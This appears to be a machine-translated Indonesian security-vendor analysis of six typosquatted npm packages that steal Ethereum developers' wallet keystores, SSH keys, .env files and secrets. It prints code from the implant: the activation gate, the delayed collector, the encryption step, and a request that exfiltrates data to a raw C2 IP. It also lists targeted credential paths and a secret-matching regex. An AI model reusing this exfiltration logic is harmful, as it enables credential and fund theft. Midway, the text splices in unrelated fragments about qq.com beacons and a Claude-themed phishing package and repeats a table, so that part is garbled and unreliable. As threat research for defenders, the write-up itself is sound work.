TL; DR
Pada tanggal 6 Mei 2026, satu penerbit npm, namikazesarada010206, menyebarkan enam paket berbahaya yang menargetkan ekosistem pengembang Ethereum, Solidity, dan DeFi.
Paket-paket tersebut, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, dan web3-utils-core, menggunakan nama-nama yang masuk akal yang dirancang agar terlihat seperti pustaka pembantu untuk alat Web3 populer.
Keenam paket tersebut berisi barang yang sama. telemetry.js berkas. Berkas tersebut identik secara byte di seluruh klaster, dengan SHA-256:
Malware tersebut tidak dieksekusi pada saat instalasi. Tidak ada preinstall or postinstall Sebaliknya, ia aktif ketika paket diimpor melalui hook. require().
Detail itu penting.
Implant tersebut menunggu hingga pengembang benar-benar menggunakan paket tersebut. Kemudian, implant tersebut memeriksa apakah workstation tersebut terlihat seperti lingkungan pengembangan Ethereum/Solidity yang sebenarnya. Implant tersebut mencari kunci Alchemy atau Infura, kunci privat, mnemonik, kunci deployer, atau direktori Foundry lokal.
Jika host cocok, pencuri akan mengumpulkan kunci privat SSH, keystore dompet Foundry / Geth / Brownie, .env* berkas, dan variabel lingkungan sensitif. Ia mengenkripsi bundel tersebut dengan AES-256-GCM menggunakan frasa sandi yang telah ditentukan sebelumnya dan mengeksfiltrasinya ke titik akhir C2 IPv4 mentah dengan verifikasi TLS dinonaktifkan.
Sistem Peringatan Dini Malware (MEW) Xygeni mengkonfirmasi keenam paket tersebut sebagai berbahaya. Bundel laporan penghapusan registri npm masih tertunda.
Klaster: Enam Paket, Satu Penerbit
Akun penerbit namikazesarada010206 terhubung ke alamat Gmail yang belum terverifikasi namikazesarada010206@gmail.com.
Kampanye tersebut muncul sebagai publikasi singkat satu hari pada tanggal 6 Mei 2026. Keenam paket tersebut memiliki versi sebagai berikut: 1.0.0, tidak memiliki dependensi runtime sama sekali, dan hanya mengirimkan tiga file:
package.json index.js telemetry.js Mereka juga mendeklarasikan repositori sumber yang sama:
https://github.com/harunosakura030303-maker/evmchain-config Tiga paket pertama terdeteksi oleh pemindai MEW pada saat publikasi pertama. Tiga paket sisanya diberi tanda paksa setelah analis meninjau profil npm penerbit. Setelah byte yang sama identik telemetry.js Setelah dikonfirmasi di seluruh klaster, akun-akun tersebut ditutup karena dianggap berbahaya berdasarkan konsistensi.
| Paket | Versi | npm Diterbitkan | Tiket MEW | Putusan |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Jahat |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Jahat |
| utilitas inti helm | 1.0.0 | 2026-05-06 | #51051 | Jahat |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Berniat jahat, secara konsisten |
| utilitas pengecoran | 1.0.0 | 2026-05-06 | #51071 | Berniat jahat, secara konsisten |
| inti utilitas web3 | 1.0.0 | 2026-05-06 | #51070 | Berniat jahat, secara konsisten |
Strategi penamaan ini sederhana namun efektif.
Paket-paket ini tidak meniru nama-nama sumber aslinya secara persis. Sebaliknya, mereka menggunakan akhiran "utilitas" yang masuk akal seperti... -core, -utils, dan -utils-coreHal itu membuat pustaka-pustaka tersebut tampak seperti pustaka pendamping yang mungkin diharapkan oleh pengembang untuk dilihat di dekat perangkat pengembangan Web3.
| Paket Berbahaya | Target yang Sah |
|---|---|
| viem-core | viem, klien Ethereum TypeScript yang populer |
| viem-utils-core | viem |
| utilitas inti helm | hardhat, lingkungan pengembangan Solidity arus utama |
| evm-utils | Ruang nama alat EVM generik |
| utilitas pengecoran | foundry, sebuah toolchain Solidity. |
| inti utilitas web3 | web3-utils, helper Web3.js |
Inilah pola "paket tambahan": bukan "Saya adalah paket sebenarnya," tetapi "Saya tampak seperti penolong yang masuk akal di sekitar paket sebenarnya."
Bagi para pengembang DeFi yang bergerak cepat, hal itu sudah cukup untuk menimbulkan risiko.
Apa yang Terjadi Saat Paket Diimpor?
Rantai serangan ini kecil, disengaja, dan terfokus pada lingkungan pengembangan kriptografi.
Tidak ada proses instalasi. Sebagai gantinya, setiap paket menyertakan sebuah index.js yang mengekspor fungsi stub dan kemudian memuat modul telemetri berbahaya.
require('./telemetry').init(); Ini berarti malware tersebut aktif pada saat impor pertama.
Hal itu berguna secara operasional bagi penyerang. Banyak pemindai dan sandbox berfokus pada perilaku saat instalasi. Paket ini menunggu hingga benar-benar digunakan oleh pengembang, skrip build, rangkaian pengujian, atau jalur runtime.
Gerbang Aktivasi: Hanya Berfungsi pada Workstation Pengembang Web3 Asli
Bagian terpenting dari implan tersebut adalah gerbang aktivasi.
Malware ini memeriksa variabel lingkungan yang umum ditemukan pada mesin pengembang Ethereum/Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Selain itu, program ini juga memeriksa apakah Foundry sudah terpasang:
fs.existsSync(path.join(os.homedir(), '.foundry')) Jika kedua kondisi tersebut tidak terpenuhi, fungsi akan mengembalikan nilai dan tidak melakukan apa pun.
Hal itu membuat paket tersebut lebih senyap di lingkungan analisis umum. Sebuah sandbox tanpa Foundry, kunci Alchemy, kunci Infura, kunci pribadi, atau mnemonik mungkin akan melihat impor yang tampak tidak berbahaya.
Pada host yang cocok, malware menunggu 60 hingga 90 detik sebelum melakukan pengumpulan data:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Penundaan tersebut mengurangi korelasi yang jelas antara impor dan eksfiltrasi. .unref() Perintah `call` juga memungkinkan proses host untuk keluar secara normal jika paket tersebut diimpor dalam skrip berumur pendek.
Ini bukan perilaku ambil curi yang berisik. Ini adalah pencuri yang ditargetkan, dirancang untuk menghindari berjalan kecuali lingkungan pengembangnya layak untuk dicuri.
Apa yang Dikumpulkan Pencuri
Setelah gerbang aktivasi terlewati, malware akan mengumpulkan data dari sumber-sumber yang paling penting dalam pengembangan Web3: kunci pribadi, penyimpanan kunci dompet, kredensial penyebaran, rahasia cloud, token npm, dan konfigurasi proyek lokal.
| sumber | Apa yang Dikumpulkan |
|---|---|
| proses.env | Variabel apa pun yang cocok dengan /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Berkas yang berisi PRIVATE KEY atau BEGIN OPENSSH, termasuk isi berkas lengkap. |
| ~/.foundry/keystores/* | File penyimpanan kunci dompet Foundry |
| ~/.ethereum/keystore/* | File penyimpanan kunci dompet Geth |
| ~/.brownie/akun/* | Dompet Brownie, tempat penyimpanan kunci, file |
| ${cwd}/.env | Isi file lengkap |
| ${cwd}/.env.local | Isi file lengkap |
| ${cwd}/.env.produksi | Isi file lengkap |
| ${cwd}/.env.development | Isi file lengkap |
| os.hostname() | Metadata host |
| crypto.randomUUID() | Pengidentifikasi korban/sesi |
| Tanggal.sekarang() | Cap waktu koleksi |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Token ATTA adalah:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Kami belum dapat memastikan apakah telemetri tersebut merupakan analitik milik operator sendiri atau saluran yang dimonetisasi secara terpisah. Token ATTA sama di kedua sampel yang kami periksa.
Klaster B: heibai
claude.hk Phishing OAuth + Pembajakan ANTHROPIC_BASE_URL
Sampel tanggal 1 April adalah bagian awal kampanye yang lebih kasar.
heibai:2.1.88-claude.hk-4 diterbitkan oleh wuguoqiangvip28, sebuah akun yang dibuat pada 7 Juni 2025. Paket tersebut secara eksplisit melakukan penomoran versi terhadap versi yang sah. 2.1.88 Pelepasan antropogenik.
Algoritma ini tidak menggunakan serangan MITM (Man-in-the-Middle) berbasis sertifikat CA. Sebaliknya, ia berbohong kepada pengguna tentang titik akhir OAuth.
Tambahan berbahaya pada kode sumber Claude yang bocor meliputi:
| sumber | Apa yang Dikumpulkan |
|---|---|
| proses.env | Variabel apa pun yang cocok dengan /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Berkas yang berisi PRIVATE KEY atau BEGIN OPENSSH, termasuk isi berkas lengkap. |
| ~/.foundry/keystores/* | File penyimpanan kunci dompet Foundry |
| ~/.ethereum/keystore/* | File penyimpanan kunci dompet Geth |
| ~/.brownie/akun/* | Dompet Brownie, tempat penyimpanan kunci, file |
| ${cwd}/.env | Isi file lengkap |
| ${cwd}/.env.local | Isi file lengkap |
| ${cwd}/.env.produksi | Isi file lengkap |
| ${cwd}/.env.development | Isi file lengkap |
| os.hostname() | Metadata host |
| crypto.randomUUID() | Pengidentifikasi korban/sesi |
| Tanggal.sekarang() | Cap waktu koleksi |
Daftar targetnya sangat spesifik. Ini bukan pencurian data browser umum atau pengambilan kredensial secara luas. Ini ditujukan kepada para pengembang yang membangun, menguji, menyebarkan, atau mengoperasikan aplikasi Ethereum.
Penyertaan keystore Foundry, Geth, dan Brownie sangat penting. File-file ini dapat mewakili akses langsung ke dompet atau identitas penyebaran. Jika penyerang dapat memasangkannya dengan kata sandi, mnemonik, atau rahasia lingkungan, mereka mungkin dapat memindahkan dana, meniru penyebar, atau membahayakan operasi kontrak pintar.
Enkripsi Sebelum Eksfiltrasi
Malware tersebut mengenkripsi data yang dikumpulkan sebelum mengirimkannya.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Kata sandi yang sudah terprogram adalah:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Data akhir yang diikutsertakan dibungkus sebagai JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Enkripsi itu sendiri tidak membuat malware menjadi lebih canggih. Namun, enkripsi mempersulit inspeksi jaringan. Seorang petugas keamanan yang memantau lalu lintas keluar akan melihat muatan JSON, tetapi tidak akan melihat kunci yang dicuri, file dompet, atau .env konten tanpa frasa sandi dan logika dekripsi yang telah ditentukan sebelumnya.
Eksfiltrasi ke C2 IPv4 Mentah
Jalur eksfiltrasi telah ditentukan secara permanen:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Malware tersebut mengirimkan data ke:
https://76.13.37.80:8443/api/v1/telemetry Dua detail menonjol.
Pertama, C2 adalah alamat IPv4 mentah, bukan domain. Hal ini menghilangkan kebutuhan pendaftaran domain dan menghindari beberapa deteksi berbasis domain.
Kedua, verifikasi TLS dinonaktifkan dengan:
rejectUnauthorized: false Hal itu memungkinkan malware untuk menerima sertifikat apa pun, termasuk sertifikat yang ditandatangani sendiri. Dengan kata lain, penyerang mendapatkan transmisi terenkripsi tanpa memerlukan sertifikat publik yang valid.
Tidak ada logika percobaan ulang dan tidak ada host cadangan. Kesalahan diabaikan begitu saja. Hal ini menjaga agar paket tetap tidak terdeteksi jika C2 sedang offline atau tidak dapat dijangkau.
Mengapa Kampanye Ini Penting
Sebagian besar paket npm berbahaya yang ditujukan untuk pengembang mengincar kredensial yang luas: token npm, kunci AWS, token GitHub, atau .npmrc file.
Kampanye ini mempersempit target.
Sistem ini mencari tanda-tanda bahwa mesin tersebut milik pengembang Ethereum atau Solidity. Kemudian, sistem ini mengambil aset-aset yang relevan dengan lingkungan tersebut: keystore dompet, kunci pribadi, mnemonik, kunci deployer, .env berkas, dan kunci SSH.
Hal itu membuat kampanye ini lebih berbahaya bagi tim Web3 daripada sekadar pencuri npm generik.
Infeksi yang berhasil dapat menyebabkan terpaparnya:
- Dompet penyebaran
- Kunci admin kontrak pintar
- kunci penyedia RPC
- Kredensial penerapan cloud
- token penerbitan npm
- Akses SSH ke infrastruktur pengembang atau pembangunan.
- Rahasia proyek disimpan di
.envarsip - Keystore dompet untuk Foundry, Geth, atau Brownie
Nama-nama paket tersebut juga menunjukkan rekayasa sosial yang jelas. Mereka menargetkan ekosistem pengembang Web3 melalui nama-nama alat yang familiar: viem, hardhat, foundry, evm, dan web3.
Aktor tersebut tidak perlu mengganggu proyek sebenarnya. Mereka hanya membutuhkan pengembang untuk memasang paket pendukung yang tampak wajar.
Indikator Kompromi dan Deteksi
| Paket dan Penerbit | |
|---|---|
| Bidang | Nilai |
| penerbit npm | namikazesarada010206 |
| Email penerbit | namikazesarada010206@gmail.com |
| email terverifikasi | Tidak |
| SCM diverifikasi | Tidak |
| Skor reputasi | 1.0 |
| Paket Exklusif | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versi | Semua 1.0.0 |
| Repositori sumber | https://github.com/harunosakura030303-maker/evmchain-config |
| Terkonfirmasi berbahaya | Semua enam paket |
| jaringan | |
|---|---|
| Tipe | Nilai |
| Titik akhir C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Port C2 | 8443/tcp |
| Perilaku TLS | rejectUnauthorized: false |
| Skema muatan | {"v":2,"iv": ,"D": ,"T": } |
| Berkas dan Hash | |
|---|---|
| Tipe | Nilai |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Tata letak paket | package.json, index.js, telemetry.js |
| Jumlah berkas | 3 |
| Perkiraan ukuran total | 3.4 KB |
Sinyal Aktivasi
Malware tersebut memeriksa variabel lingkungan berikut:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Selain itu, juga dilakukan pengecekan terhadap:
~/.foundry/ Jalur Host yang Ditargetkan
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Koleksi Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Catatan Deteksi
Beberapa aturan dapat mendeteksi kampanye ini tanpa perlu analisis perilaku lengkap.
Pertama, pindai file lock untuk enam nama paket berbahaya:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Pertandingan apa pun di package-lock.json, yarn.lock, pnpm-lock.yaml, atau node_modules Peristiwa sejarah harus dianggap sebagai kejadian serius.
Kedua, pantau proses Node.js yang membaca jalur keystore dompet:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ini jarang merupakan perilaku yang sah untuk sebuah paket yang diimpor sebagai dependensi pembantu. Hal ini sangat mencurigakan terutama jika diikuti oleh aktivitas jaringan keluar.
Ketiga, blokir atau berikan peringatan pada koneksi HTTPS ke:
76.13.37.80:8443 Terutama ketika jalur permintaannya adalah:
/api/v1/telemetry Keempat, cari paket npm yang menggabungkan ciri-ciri ini:
- Penerbit baru atau bereputasi rendah
- Akun Gmail yang belum terverifikasi
- nama paket yang berdekatan dengan Web3
- Tidak ada riwayat repositori yang berarti.
- Tata letak paket kecil
index.jsyang memuat file telemetri atau file pembantu.- Tidak ada dependensi saat runtime
- Pengumpulan variabel lingkungan yang sensitif
- Akses penyimpanan kunci dompet
Pola ini lebih bermanfaat daripada IOC tunggal karena paket berikutnya mungkin mengubah alamat IP tetapi tetap mempertahankan logika penargetan yang sama.
Daftar Periksa Respons Kompromi
Jika seorang pengembang menggunakan salah satu dari enam paket tersebut dan lingkungan mereka sesuai dengan gerbang aktivasi, anggaplah workstation tersebut telah disusupi.
Itu termasuk mesin yang sudah terpasang Foundry, kunci Alchemy atau Infura di lingkungan tersebut, kunci pribadi, mnemonik, atau kunci deployer.
Jawaban yang disarankan:
- Putuskan koneksi host dari jaringan.
- Pertahankan
node_modules, file penguncian, riwayat shell, dan log yang relevan untuk keperluan forensik. - Putar setiap pasangan kunci SSH di bawah
~/.ssh/. - Putar kunci dompet untuk setiap toko kunci di bawah
~/.foundry,~/.ethereum, dan~/.brownie. - Pindahkan dana ke dompet baru.
- Putar setiap rahasia yang tersimpan di
.env*berkas-berkas di repositori tempat pengembang bekerja. - Rotasi rahasia lingkungan yang sesuai dengan regex koleksi, termasuk kunci AWS, token npm, token deploy, kunci API, kunci privat, seed, dan mnemonik.
- Lakukan audit terhadap aktivitas cloud, npm, GitHub, penyedia RPC, dan blockchain sejak paket pertama kali diinstal.
- Instal ulang sistem operasi pada workstation sebelum digunakan kembali.
Apa yang Harus Dipahami oleh Para Pemain Bertahan
Kampanye ini menunjukkan bagaimana praktik typosquatting npm berkembang di sekitar ekosistem pengembang bernilai tinggi.
Aktor tersebut tidak memerlukan persistensi. Mereka tidak memerlukan pengaburan. Mereka bahkan tidak memerlukan eksekusi pada saat instalasi.
Sebaliknya, mereka mengandalkan tiga hal:
- Nama paket Web3 yang masuk akal
- Aktivasi hanya pada mesin pengembangan kripto yang sebenarnya.
- Pencurian langsung terhadap file dan rahasia yang paling penting bagi para pengembang Ethereum.
Hal itu membuat kampanye tersebut mudah terlewatkan dalam pengamatan umum dan berbahaya ketika sampai di lingkungan yang tepat.
Bagi tim Web3, pelajarannya jelas: perlakukan nama dependensi sebagai bagian dari model ancaman Anda. Sebuah paket yang tampak seperti helper yang tidak berbahaya tetap bisa menjadi jalan terpendek menuju peretasan dompet digital.
Telah dilaporkan ke registri npm. Kami akan memperbarui postingan ini setelah akun penerbit dan paket dihapus.




